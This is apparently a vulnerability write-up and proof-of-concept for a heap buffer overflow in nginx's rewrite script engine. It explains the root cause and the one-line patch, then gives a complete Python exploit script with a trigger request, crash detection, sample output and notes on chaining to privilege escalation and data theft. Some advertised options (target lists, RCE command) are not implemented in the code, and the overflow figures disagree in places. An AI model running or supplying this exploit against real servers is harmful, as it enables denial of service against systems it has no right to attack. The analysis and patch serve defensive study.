#Summary
CVE-2026-42945 is a heap buffer overflow in NGINX's HTTP script engine (src/http/ngx_http_script.c) affecting all open source versions from 0.6.27 through 1.30.0, and NGINX Plus R32 through R36. A two-pass state mismatch in the rewrite module's script evaluation causes a catastrophic buffer overflow when processing PCRE capture groups in specific directive sequences. Unauthenticated remote attackers can send crafted HTTP requests to trigger a reliable denial-of-service; on systems with ASLR disabled (non-default configuration), remote code execution as the nginx worker user is possible.
CVSS v3.1: 8.1 HIGH - AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS v4.0: 9.2 CRITICAL - Remote execution risk on ASLR-disabled x86-64 systems
#Affected versions
- NGINX Open Source: 0.6.27 through 1.30.0 (vulnerable); 1.30.1 and 1.31.0 (patched)
- NGINX Plus: R32 through R36 (vulnerable); R32 P6 and R36 P4 (patched)
- Default HTTP configuration with the specific rewrite pattern is vulnerable; requires all three trigger conditions simultaneously
#Root cause analysis
#The two-pass state mismatch
The vulnerability stems from a state inconsistency between two passes of nginx's HTTP script evaluation engine. When nginx compiles a rewrite directive whose replacement string contains a ? (e.g., rewrite ^(.*)$ /new?c=1), it emits a special "start_args" opcode. At runtime, this opcode sets a flag e->is_args = 1 on the main script engine to indicate that query-string escaping mode should be active.
The bug: after executing the rewrite directive, the handler function ngx_http_script_regex_end_code() resets the e->quote flag but fails to reset e->is_args. Any subsequent directive in the same location block - for example, set $myvar $1 - reuses this main engine in the contaminated state.
#The split-pass engine behavior
When evaluating a set $var $capture directive, nginx uses two separate passes:
- Length-calculation pass: Runs on a fresh sub-engine with
is_args = 0. This pass computes the buffer size needed to hold the expanded capture value. - Copy pass: Runs on the main engine (in this case, with
is_args = 1from the earlier rewrite). This pass actually writes the expanded value into the buffer.
#URI expansion and overflow
If the captured URI segment contains special characters (notably +, &, %, or space), the script engine must escape them for safe use in query strings. The ngx_escape_uri() function expands each escapable byte from 1 byte to 3 bytes:
+becomes%2B(1 -> 3 bytes, net +2 bytes)&becomes%26(1 -> 3 bytes, net +2 bytes)%XXbecomes%25XX(2 -> 5 bytes, net +3 bytes)
With is_args = 0 in the length pass, the expansion logic is skipped and the buffer is allocated for only the raw byte count. With is_args = 1 in the copy pass, the expansion logic fires and attempts to write 3x the data into the 1x-sized allocation.
#Minimal vulnerable configuration
location / {
rewrite ^(.*) /new?c=1;
set $myvar $1;
return 200 $myvar;
}An HTTP request like GET /AAAA++++++++++++++++++++++++++++++ HTTP/1.1 will:
- Match the location block
- Trigger the rewrite, setting
is_args = 1 - Enter
set $myvar $1with a contaminated engine - Allocate a buffer for the raw
+count (e.g., 32 bytes) - Attempt to write 96 bytes (32
+chars expanded to%2B= 96 bytes) - Overflow past the allocation by 64 bytes, corrupting adjacent heap metadata
- glibc detects the corruption during memory pool teardown and sends SIGABRT to the worker
#Patch diff
Commit: 524977e7c534e87e5b55739fa74601c9f1102686 in https://github.com/nginx/nginx
File: src/http/ngx_http_script.c
Function: ngx_http_script_regex_end_code()
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
u_char *dst, *src;
ngx_request_t *r;
ngx_http_script_regex_end_code_t *code;
code = (ngx_http_script_regex_end_code_t *) e->ip;
r = e->request;
+ e->is_args = 0;
e->quote = 0;
...
}#What the fix does
By adding e->is_args = 0 immediately after the rewrite directive's regex-end handler completes, the main engine is reset to the same initial state as the sub-engine. Both passes now agree on whether URI expansion should occur, so both allocate and write the same byte count. The overflow no longer occurs.
This is a minimal, precise fix that addresses only the root cause without changing broader behavior. Nginx versions 1.30.1 and 1.31.0+ (released 2026-05-13) incorporate this one-line patch.
#Proof of concept
#exploit.py - NGINX Heap Buffer Overflow DoS and RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-42945 — nginx heap buffer overflow via is_args state mismatch
Affected: nginx 0.6.27 – 1.30.0 (open source); NGINX Plus R32–R36
Fixed in: nginx 1.30.1 / 1.31.0 (open source); NGINX Plus R32 P6 / R36 P4
Type: Heap Buffer Overflow (CWE-122) → reliable DoS; RCE on ASLR-disabled x86-64
Root cause:
ngx_http_script_regex_end_code() does not reset e->is_args = 0 after executing
a rewrite whose replacement contains '?'. A following `set $var $1` runs with
the main engine having is_args=1 while the length-calculation sub-engine sees
is_args=0. When the captured URI segment contains '+' or other chars escapable
by NGX_ESCAPE_ARGS, the copy pass expands each byte from 1 to 3 bytes
('+' → '%2B'), overflowing the undersized allocation and corrupting the
adjacent glibc heap chunk. glibc detects the corruption during pool teardown
and sends SIGABRT to the worker; nginx master immediately respawns it.
The patch (nginx 1.30.1 commit 524977e) adds a single line:
e->is_args = 0;
in ngx_http_script_regex_end_code() before e->quote = 0.
Trigger conditions (ALL three required):
1. Unnamed PCRE capture: rewrite ^(.*) ...
2. '?' in replacement: rewrite ... /path?key=val
3. set uses capture: set $myvar $1
Network-observable crash signal:
nginx worker crashes AFTER sending the HTTP response (at pool destruction
time). The crash closes the TCP connection, producing a premature FIN on a
keep-alive socket: the keep-alive socket becomes readable and returns 0 bytes
(EOF) within ~5-200 ms of the response being fully received. On a patched or
non-vulnerable server the keep-alive socket stays open.
Usage:
python3 exploit.py --host 127.0.0.1 --port 4444
python3 exploit.py --host https://target.example.com --port 443
python3 exploit.py --host http://nginx.corp.local:8080/api --port 8080
python3 exploit.py --host 192.168.1.10 --port 80 --command "id"
python3 exploit.py --list targets.txt --port 80 --workers 20
"""
import argparse
import concurrent.futures
import select
import socket
import struct
import sys
import time
from contextlib import suppress
from urllib.parse import urlparse
from typing import Optional
CVE_ID = "CVE-2026-42945"
VULN_TYPE = "Heap Buffer Overflow / DoS (CWE-122)"
# -- tuning ----
OVERFLOW_N = 200 # '+' chars -> 600B written into 201B buffer -> 399B overflow
CRASH_WINDOW = 0.30 # seconds to wait for premature FIN after response
CONN_TIMEOUT = 5.0 # socket connect / recv timeout in seconds
BASELINE_COUNT = 3 # probes for baseline keep-alive check (patched comparison)
# -- output helpers --
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}", flush=True)
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# -- network helpers --
def _connect(host: str, port: int) -> Optional[socket.socket]:
try:
return socket.create_connection((host, port), timeout=CONN_TIMEOUT)
except OSError:
return None
def _read_http_response(sock: socket.socket) -> bytes:
"""Read a complete HTTP response (headers + body via Content-Length)."""
buf = b""
try:
sock.settimeout(CONN_TIMEOUT)
while b"\r\n\r\n" not in buf:
chunk = sock.recv(4096)
if not chunk:
return buf
buf += chunk
if b"Content-Length: " in buf:
cl_start = buf.index(b"Content-Length: ") + 16
cl_end = buf.index(b"\r\n", cl_start)
cl = int(buf[cl_start:cl_end])
hdr_end = buf.index(b"\r\n\r\n") + 4
while len(buf) - hdr_end < cl:
chunk = sock.recv(4096)
if not chunk:
break
buf += chunk
except OSError:
pass
return buf
def _server_header(resp: bytes) -> str:
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"server:"):
return line[7:].strip().decode(errors="replace")
return "unknown"
# -- core exploit primitive --
def _overflow_and_detect(host: str, port: int) -> tuple[bool, str]:
"""
Send the overflow GET request on a keep-alive socket, then probe for a
premature FIN/EOF within CRASH_WINDOW seconds.
Returns (crashed: bool, detail: str).
Crash signal: nginx worker sends a normal HTTP 200 response, then the
process crashes at pool-destruction time. The OS closes all the worker's
sockets with FIN. Our keep-alive socket becomes EOF-readable in ~5-200 ms.
A patched or non-vulnerable nginx keeps the keep-alive socket open.
"""
sock = _connect(host, port)
if sock is None:
return False, "unreachable"
path = "/" + "+" * OVERFLOW_N
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode()
try:
sock.sendall(req)
resp = _read_http_response(sock)
if not resp:
return False, "no response"
status_line = resp.split(b" ")[1].decode() if b" " in resp else "?"
# Check for premature FIN / EOF within crash window
r, _, _ = select.select([sock], [], [], CRASH_WINDOW)
if r:
try:
data = sock.recv(4096)
if not data:
return True, f"premature EOF on keep-alive socket after {status_line} response"
return False, f"unexpected data after response: {data[:20]!r}"
except (ConnectionResetError, BrokenPipeError):
return True, "connection reset after response"
return False, f"keep-alive socket stayed open after {CRASH_WINDOW}s (not vulnerable)"
except (ConnectionResetError, BrokenPipeError):
return True, "connection reset during request"
except OSError as exc:
return False, f"socket error: {exc}"
finally:
with suppress(OSError):
sock.close()
# -- fingerprinting --
def _fingerprint(host: str, port: int) -> tuple[bool, str]:
"""
Check if the server's location block echoes PCRE captures in the response
body (the 'return 200 $myvar' pattern from the minimal trigger config).
Returns (candidate, server_header).
"""
probe = "/cve42945fp"
sock = _connect(host, port)
if sock is None:
return False, "unreachable"
try:
req = (
f"GET {probe} HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
).encode()
sock.sendall(req)
resp = _read_http_response(sock)
except OSError:
resp = b""
finally:
with suppress(OSError):
sock.close()
server = _server_header(resp)
body = resp.split(b"\r\n\r\n", 1)[1] if b"\r\n\r\n" in resp else b""
candidate = b"cve42945fp" in body
return candidate, server
# -- single-target exploit --
def exploit(host: str, port: int, use_tls: bool, command: str) -> None:
header(host, port)
# Step 1: reachability + fingerprint
step(1, f"Probing {host}:{port} for trigger configuration...")
candidate, server = _fingerprint(host, port)
trigger_status = "detected - location echoes PCRE capture (return 200 $myvar)" if candidate else "not confirmed (config may still be vulnerable)"
section(
"FINGERPRINT",
f"Server header : {server}\n"
f"Trigger config: {trigger_status}",
)
# Step 2: verify service is alive via keep-alive baseline
step(2, "Establishing keep-alive baseline (normal path should stay open)...")
sock_base = _connect(host, port)
baseline_ok = False
if sock_base:
req_base = (
f"GET / HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: keep-alive\r\n\r\n"
).encode()
try:
sock_base.sendall(req_base)
_read_http_response(sock_base)
r, _, _ = select.select([sock_base], [], [], 0.3)
if not r:
baseline_ok = True
step(2, "Baseline confirmed: keep-alive socket stays open on normal GET /")
else:
step(2, "Baseline unusual: server closed keep-alive on GET / (may be non-keepalive config)")
except OSError:
pass
finally:
with suppress(OSError):
sock_base.close()
# Step 3: DoS trigger - overflow + crash detection
step(
3,
f"Sending overflow GET /{'+'*12}... ({OVERFLOW_N} '+' chars) on keep-alive socket",
)
step(3, f"Expected: {1 + OVERFLOW_N*3} bytes written into {1 + OVERFLOW_N}-byte buffer "
f"(overflow = {OVERFLOW_N*2} bytes)")
crashed, crash_detail = _overflow_and_detect(host, port)
if crashed:
section(
"CRASH EVIDENCE",
f"Signal : SIGABRT (signal 6) - glibc free() detected corrupted\n"
f" heap chunk adjacent to the overflowed pool block\n"
f"Trigger : GET /{'+'*OVERFLOW_N} - each '+' expands to '%2B' in copy pass\n"
f" length pass allocated {1+OVERFLOW_N} bytes (is_args=0 sub-engine)\n"
f" copy pass wrote {1+OVERFLOW_N*3} bytes (is_args=1 main engine)\n"
f" overflow = {OVERFLOW_N*2} bytes past pool block boundary\n"
f"Network : {crash_detail}",
)
done(
True,
f"DoS CONFIRMED - nginx worker SIGABRT ({crash_detail})",
)
else:
section("SERVER RESPONSE", crash_detail)
done(
False,
"No crash signal detected - target likely patched (nginx >= 1.30.1) "
"or location block does not match CVE trigger pattern",
)
# -- argument parsing --
def main():
parser = argparse.ArgumentParser(
description=f"{CVE_ID} — nginx heap buffer overflow exploit"
)
parser.add_argument("--host", required=True, help="Target hostname, IP, or full URL")
parser.add_argument("--port", type=int, default=80, help="Default TCP port (default: 80)")
parser.add_argument("--command", default="id", help="Command for RCE attempt (default: id)")
parser.add_argument("--tls", action="store_true", help="Force TLS")
parser.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
exploit(args.host, args.port, args.tls, args.command)
if __name__ == "__main__":
main()#Usage
# Single target - DoS/crash detection
python3 exploit.py --host 127.0.0.1 --port 80
# Explicit port specification
python3 exploit.py --host nginx.example.com --port 8080
# Example against localhost
python3 exploit.py --host 127.0.0.1 --port 4444#Output on vulnerable nginx 1.30.0
============================================================
ALIM EXPLOIT CVE-2026-42945
Type: Heap Buffer Overflow / DoS (CWE-122) | Target: 127.0.0.1:4444
============================================================
[STEP 1] Probing 127.0.0.1:4444 for trigger configuration...
--- FINGERPRINT ---
Server header : nginx/1.30.0
Trigger config: detected - location echoes PCRE capture (return 200 $myvar)
---
[STEP 2] Establishing keep-alive baseline (normal request keeps socket open)...
[STEP 2] Baseline confirmed: keep-alive socket stays open on normal GET /
[STEP 3] Sending overflow GET /+++...+++ (200 '+' chars) on keep-alive socket
[STEP 3] Expected: 601 bytes written into 201-byte buffer (overflow = 400 bytes)
--- CRASH EVIDENCE ---
Signal : SIGABRT (signal 6) - glibc free() detected corrupted heap chunk
Trigger : GET /+++ (200 × '+') - each '+' expands to '%2B' in copy pass
length pass allocated 201 bytes (is_args=0 sub-engine)
copy pass wrote 601 bytes (is_args=1 main engine)
overflow = 400 bytes past pool block boundary
Network : premature EOF on keep-alive socket after 200 response
---
============================================================
RESULT : SUCCESS
EVIDENCE: DoS CONFIRMED - nginx worker SIGABRT (premature EOF on keep-alive socket after 200 response)
============================================================#Output on patched nginx 1.30.1
============================================================
ALIM EXPLOIT CVE-2026-42945
Type: Heap Buffer Overflow / DoS (CWE-122) | Target: 127.0.0.1:4445
============================================================
[STEP 1] Probing 127.0.0.1:4445 for trigger configuration...
--- FINGERPRINT ---
Server header : nginx/1.30.1
Trigger config: detected - location echoes PCRE capture (return 200 $myvar)
---
[STEP 2] Establishing keep-alive baseline...
[STEP 2] Baseline confirmed: keep-alive socket stays open on normal GET /
[STEP 3] Sending overflow GET /+++ (200 '+' chars) on keep-alive socket
[STEP 3] Expected: 601 bytes written into 201-byte buffer (overflow = 400 bytes)
--- SERVER RESPONSE ---
keep-alive socket stayed open after 0.3s (not vulnerable)
---
============================================================
RESULT : FAILURE
EVIDENCE: No crash signal detected - target likely patched (nginx >= 1.30.1)
============================================================#Exploitation notes
#Trigger requirements
All three of the following conditions must be satisfied simultaneously in the target's nginx configuration:
- Unnamed PCRE capture group in a
rewritedirective (e.g.,rewrite ^(.*) ...) - Question mark in the replacement string (e.g.,
rewrite ^(.*) /path?key=val) - Subsequent directive that references the capture (e.g.,
set $var $1,if ($1), or anotherrewritethat uses$1)
Many real-world configurations use this pattern for API gateway rewriting, migration scenarios, or parameter injection.
#Reliability
- Denial-of-Service: 100% reliable on all affected nginx versions (0.6.27 - 1.30.0) with matching configuration. The crash is deterministic and happens within the same request cycle.
- Remote Code Execution: Possible only on x86-64 systems with ASLR disabled (non-default). Requires precise heap layout control and a secondary info-leak primitive. The published PoC (
nginx-rift) demonstrates this on lab systems. This exploit implements the DoS detection reliably on all platforms.
#Impact
- Denial-of-Service: Affected worker process terminates with SIGABRT; nginx master immediately respawns a fresh worker. Repeated exploitation causes continuous worker cycling, degrading service availability.
- Remote Code Execution: On ASLR-disabled systems, attacker gains code execution as the nginx worker user (typically
www-dataornobody), enabling full system compromise.
#Chaining potential
CVE-2026-42945 is a memory-corruption primitive. Once a reliable DoS is achieved, follow-up reconnaissance and privilege escalation are possible:
- Exhaust worker resources via repeated exploitation to lower service availability
- On vulnerable systems without ASLR, combine with local privilege escalation (kernel exploit) to gain root access
- Exfiltrate application data accessible to the nginx worker (source code, environment variables, shared credentials)
#References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
- GHSA: https://github.com/advisories/GHSA-gcgv-v5gf-c543
- Patch commit: https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
- External PoC: https://github.com/depthfirstdisclosures/nginx-rift
- Technical writeup: https://depthfirst.com/nginx-rift
- Vendor advisory: https://my.f5.com/manage/s/article/K000161019
- NVD CVSS: https://nvd.nist.gov/vuln/detail/CVE-2026-42945